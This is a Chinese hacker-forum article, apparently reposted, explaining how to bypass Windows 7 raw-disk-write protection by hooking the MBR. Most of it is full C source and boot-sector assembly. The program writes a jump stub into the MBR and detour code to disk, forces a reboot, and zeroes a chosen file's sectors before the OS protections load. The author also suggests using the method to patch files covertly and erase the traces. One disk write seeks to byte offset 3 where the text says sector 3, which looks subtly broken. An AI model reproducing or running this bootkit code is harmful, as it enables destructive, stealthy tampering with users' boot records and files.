Hook MBR绕过Win7磁盘防写清零文件
文章作者:Styxal@THSS
原始出处:邪恶八进制信息安全团队(www.eviloctal.com)
/*本篇属菜鸟练手之作,大牛飘过即可*/
依照MJ大牛的感叹,“Win7的系统文件防护太强大了”——Ring3下,过去最常用的写磁盘扇区被Win7从各个角度挡住了,只开放前16扇区给我们。(具体见DebugMan,VISTA & WIN7对直接磁盘写入的防护, by MJ0011)
然而,其实我们可以轻易意识到——即便只有16个扇区也足够我们使用了——16扇区有什么呢?最重要的还是1扇区的MBR,MBR负责识别分区、加载DBR等等,总之这个时候可以轻易对磁盘进行操作了,而这个时候Win7的一堆吓死人的防护还没加载。
于是有了下面这个Demo,对MBR进行静态Inline Hook实现对文件的强行清零。
通常用的MBR有两个版本,一新一老;但是不管哪个版本,一上来功能都是一样的:
被Bios加载至0000:7c00->清零ax,ss,es等寄存器->si指向自身0000:7c00,di指向0000:0600,repe movsb拷代码(新版从7c1b开始拷贝,目的地是061b)->段间跳转到0000:061b执行(让出7c00是为了把DBR放进去)
看了下老版和新版MBR的逆向,不管新老,在7c14之前都正好还没开始考代码,7c14又正好都是对齐的新指令,很好,我们的Jmp Code也正好0x14个字节(具体见下面代码)。
于是我们r3程序通过FSCTL_GET_RETRIEVAL_POINTERS得到文件偏移,通过IOCTL_DISK_GET_PARTITION_INFO得到分区偏移,然后打开磁盘读分区BPB里的每簇扇区数,计算出文件的绝对扇区号。然后把原MBR前0x14个字节的代码拷出来放到我们的Hook Code里去,然后把Jmp Code写到MBR去;然后把定位出来的文件绝对扇区号和占用扇区数也写到Hook Code里,最后把Hook Code写到第3扇区。
重启时我们的Jmp Code在0000:7c00调int 13把第3扇区读到0000:0600->远跳转过去执行Hook Code->调int 13把原来的MBR前0x14字节写回0000:7c00覆盖掉Jmp Code->调int 13将7c00的代码写回磁盘第1扇区->调扩展int 13将文件占用扇区逐块清零->跳回0000:7c00继续引导系统启动。
在文件大小上偷懒了~没写对qword长的扇区数的递增,故仅支持31M以下的文件~ 复制内容到剪贴板
代码:
#include <Windows.h>
#include <WinIoCtl.h>
typedef long NTSTATUS;
typedef __int64 LONGLONG;
#define STATUS_SUCCESS 0L
#define CTL_CODE( DeviceType, Function, Method, Access ) ( \
((DeviceType) << 16) | ((Access) << 14) | ((Function) << 2) | (Method) \
)
#define FILE_DEVICE_FILE_SYSTEM 0x00000009
#define METHOD_NEITHER 3
#define FILE_ANY_ACCESS 0
#define FSCTL_GET_RETRIEVAL_POINTERS CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 28, METHOD_NEITHER, FILE_ANY_ACCESS) // STARTING_VCN_INPUT_BUFFER, RETRIEVAL_POINTERS_BUFFER
#define MsgBox(a) MessageBox(0, a, 0, 0)
BOOL OpenDlg(LPWSTR szFile, HWND hwnd) {
OPENFILENAME ofn;
ZeroMemory(&ofn, sizeof(ofn));
ofn.lStructSize = sizeof(ofn);
ofn.hwndOwner = hwnd;
ofn.lpstrFile = szFile;
ofn.lpstrFile[0] = '\0';
ofn.nMaxFile = 256;
ofn.lpstrFilter = NULL;
ofn.nFilterIndex = 1;
ofn.lpstrFileTitle = NULL;
ofn.nMaxFileTitle = 0;
ofn.lpstrInitialDir = NULL;
ofn.Flags = OFN_PATHMUSTEXIST | OFN_FILEMUSTEXIST;
// Display the Open dialog box.
return GetOpenFileName(&ofn);
}
/*;Coded by Styxal@THSS
0000:7C00 sti ;JMP Code in MBR. When flow of control is turned to 0000:7c00,
0000:7C01 mov ax,201 ;from BIOS, it'll read code from sector 3 into 0000:0600 and far
0000:7C04 mov bx,0600 ;jump there.
0000:7C07 mov cx,3
0000:7C0A mov dx,80
0000:7C0D int 13
0000:7C0F xor dl,dl
0000:7C11 push dx
0000:7C12 push bx
0000:7C13 retf
*/ const static UCHAR mbrJmpCode[0x14]= {
0xFB, 0xB8, 0x01, 0x02, 0xBB, 0x00, 0x06, 0xB9, 0x03, 0x00, 0xBA, 0x80,
0x00, 0xCD, 0x13, 0x30, 0xD2, 0x52, 0x53, 0xCB
};
/*;Coded by Styxal@THSS
0000:0600 call short 0613 ;push a DataAddressPacket into stack
;struct DiskAddressPacket {
0000:0603 db 10 ; BYTE PacketSize = 0x10; //Size of DAP
0000:0604 db 00 ; BYTE Reserved = 0;
0000:0605 dw 0001 ; WORD BlockCount = 1; //Count of Sectors
0000:0607 dw 0007 ; DWORD BufferAddr = 0000:0700; //here's 512 zeros
0000:0609 dw 0000
0000:060B dw cccc ; QWORD BlockNum = 0xccccccccccccccccL;
0000:060D dw cccc ; //Later the hooker'll replace this count of
0000:060F dw cccc ; //sectors to a real one.
0000:0611 dw cccc ;}
0000:0613 call short 0629 ;put the original MBR code here(were to be filled later)
0000:0616 dw dddd
0000:0618 dw dddd
0000:061A dw dddd
0000:061C dw dddd
0000:061E dw dddd
0000:0620 dw dddd
0000:0622 dw dddd
0000:0624 dw dddd
0000:0626 dw dddd
0000:0628 dw dddd
0000:062A cld ;restore the hook at 0000:7c00
0000:062B pop si
0000:062C mov di, 7c00
0000:062F mov cx, 14
0000:0632 repe movsb
0000:0634 mov ax, 301 ;and write them into MBR
0000:0637 mov bx, 7c00
0000:063A mov cx, 1
0000:063D mov dx, 80
0000:0640 int 13
0000:0642 mov cx, eeee ;'eeee' is the count of sectors the file occupied, were to be replaced later
0000:0645 pop si
0000:0646 mov ah, 43 ;use int 13 ext to zero the file
0000:0648 mov al, 0
0000:064A mov dl, 80
0000:064C int 13
0000:064E inc word ptr [si+8]
0000:0651 loop 0646
0000:0653 xor ax, ax
0000:0655 push ax ;far jump to 0000:7c00
0000:0656 push bx
0000:0657 retf
*/ const static UCHAR mbrDetourCode[0x58] = {
0xE8, 0x10, 0x00, 0x10, 0x00, 0x01, 0x00, 0x07, 0x00, 0x00, 0x00, 0xCC,
0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xE8, 0x14, 0x00, 0xDD, 0xDD,
0xDD, 0xDD, 0xDD, 0xDD, 0xDD, 0xDD, 0xDD, 0xDD, 0xDD, 0xDD, 0xDD, 0xDD,
0xDD, 0xDD, 0xDD, 0xDD, 0xDD, 0xDD, 0xFC, 0x5E, 0xBF, 0x00, 0x7C, 0xB9,
0x14, 0x00, 0xF3, 0xA4, 0xB8, 0x01, 0x03, 0xBB, 0x00, 0x7C, 0xB9, 0x01,
0x00, 0xBA, 0x80, 0x00, 0xCD, 0x13, 0xB9, 0xEE, 0xEE, 0x5E, 0xB4, 0x43,
0xB0, 0x00, 0xB2, 0x80, 0xCD, 0x13, 0xFF, 0x44, 0x08, 0xE2, 0xF3, 0x31,
0xC0, 0x50, 0x53, 0xCB
};
int APIENTRY wWinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPTSTR lpCmdLine,
int nCmdShow) {
PRETRIEVAL_POINTERS_BUFFER prpb;
STARTING_VCN_INPUT_BUFFER vib;
PARTITION_INFORMATION pi;
UCHAR oRpbBuf[272];
WCHAR fn[MAX_PATH];
WCHAR par[7] = {L"\\\\.\\C:"};
DWORD dataLen;
UCHAR bpbBuf[512];
UCHAR mbrBuf[512];
LARGE_INTEGER FileSec;
LARGE_INTEGER FileLen;
DWORD dwFileLen;
DWORD SecsPerCluster;
DWORD BytesPerSecs;
DWORD ClusterSizeInBytes;
if(!OpenDlg(fn, NULL))
return 0;
HANDLE hFile = CreateFile(
fn,
GENERIC_READ,
FILE_SHARE_READ,
NULL,
OPEN_EXISTING,
FILE_FLAG_NO_BUFFERING,
NULL
);
if(!hFile) {
MsgBox(L"Failed to Open File");
return 0;
}
GetFileSizeEx(hFile, &FileLen);
if(FileLen.QuadPart > 0x1FFFE00L) {
MsgBox(L"Too Big File");
CloseHandle(hFile);
return 0;
}
dwFileLen = FileLen.LowPart;
vib.StartingVcn.QuadPart = 0L;
if(!DeviceIoControl(
hFile,
FSCTL_GET_RETRIEVAL_POINTERS,
&vib, sizeof(STARTING_VCN_INPUT_BUFFER),
oRpbBuf,
sizeof(oRpbBuf),
&dataLen,
NULL
)) {
MsgBox(L"Failed to Locate File");
CloseHandle(hFile);
return 0;
}
prpb = (PRETRIEVAL_POINTERS_BUFFER)oRpbBuf;
DWORD dwVcnCon = prpb->ExtentCount;
LARGE_INTEGER startLcn = prpb->Extents[0].Lcn;
CloseHandle(hFile);
par[4] = fn[0];
HANDLE hPartition = CreateFile(
par,
GENERIC_READ,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
0,
0
);
if(!hPartition) {
MsgBox(L"Failed to Open Partition");
return 0;
}
if(!DeviceIoControl(
hPartition,
IOCTL_DISK_GET_PARTITION_INFO,
NULL,
0,
&pi,
sizeof(PARTITION_INFORMATION),
&dataLen,
NULL
)) {
MsgBox(L"Failed to Get Partition Info");
CloseHandle(hPartition);
return 0;
}
LARGE_INTEGER startPar = pi.StartingOffset;
CloseHandle(hPartition);
HANDLE hDrive = CreateFile(
L"\\\\.\\PhysicalDrive0",
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
0,
NULL
);
if(!hDrive) {
MsgBox(L"Failed to Open Drive");
return 0;
}
SetFilePointer(hDrive, 0, NULL, FILE_BEGIN);
ReadFile(hDrive, mbrBuf, sizeof(mbrBuf), &dataLen, NULL);
SetFilePointer(hDrive, startPar.LowPart, &startPar.HighPart, FILE_BEGIN);
ReadFile(hDrive, bpbBuf, sizeof(bpbBuf), &dataLen, NULL);
SecsPerCluster = (DWORD)(bpbBuf[0xD]);
startLcn.QuadPart *= (LONGLONG)SecsPerCluster;
BytesPerSecs = (DWORD)(*(USHORT*)(bpbBuf + 0xB));
startPar.QuadPart /= (LONGLONG)BytesPerSecs;
FileSec.QuadPart = startPar.QuadPart + startLcn.QuadPart;
ClusterSizeInBytes = SecsPerCluster * BytesPerSecs - 1;
dwFileLen = (dwFileLen + ClusterSizeInBytes) & ~ClusterSizeInBytes;
dwFileLen /= BytesPerSecs;
PVOID Sector3Buf = calloc(BytesPerSecs, 1);
if(!Sector3Buf) {
MsgBox(L"Out of Memory");
return 0;
}
RtlCopyMemory(Sector3Buf, mbrDetourCode, sizeof(mbrDetourCode));
UCHAR* ptr = (UCHAR*)Sector3Buf;
while(*ptr != 0xCC) ptr++;
*(LONGLONG*)ptr = FileSec.QuadPart;
ptr += 8;
while(*ptr != 0xDD) ptr++;
RtlCopyMemory(ptr, mbrBuf, sizeof(mbrJmpCode));
ptr += sizeof(mbrJmpCode);
while(*ptr != 0xEE) ptr++;
*(USHORT*)ptr = (USHORT)dwFileLen;
RtlCopyMemory(mbrBuf, mbrJmpCode, sizeof(mbrJmpCode));
SetFilePointer(hDrive, 0, NULL, FILE_BEGIN);
WriteFile(hDrive, mbrBuf, 512, &dataLen, 0);
SetFilePointer(hDrive, 3, NULL, FILE_BEGIN);
WriteFile(hDrive, Sector3Buf, BytesPerSecs, &dataLen, 0);
free(Sector3Buf);
CloseHandle(hDrive);
if(IDYES == MessageBox(NULL, L"Successed! Restart Your System Now?", L"Restart", MB_YESNO))
ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0);
return 0;
}实际应用中可以把需要Patch的某个文件的Patch Code放到某个扇区处,然后在MBR掌权时读出来覆盖进去,反正这一重启后MBR还是恢复成原样,再悄悄把Sector 3的内容抹了即可~
/*很虚很弱,大牛飘过*/
摘自红色黑客联盟(www.7747.net) 原文:http://www.7747.net/Article/200909/41626.html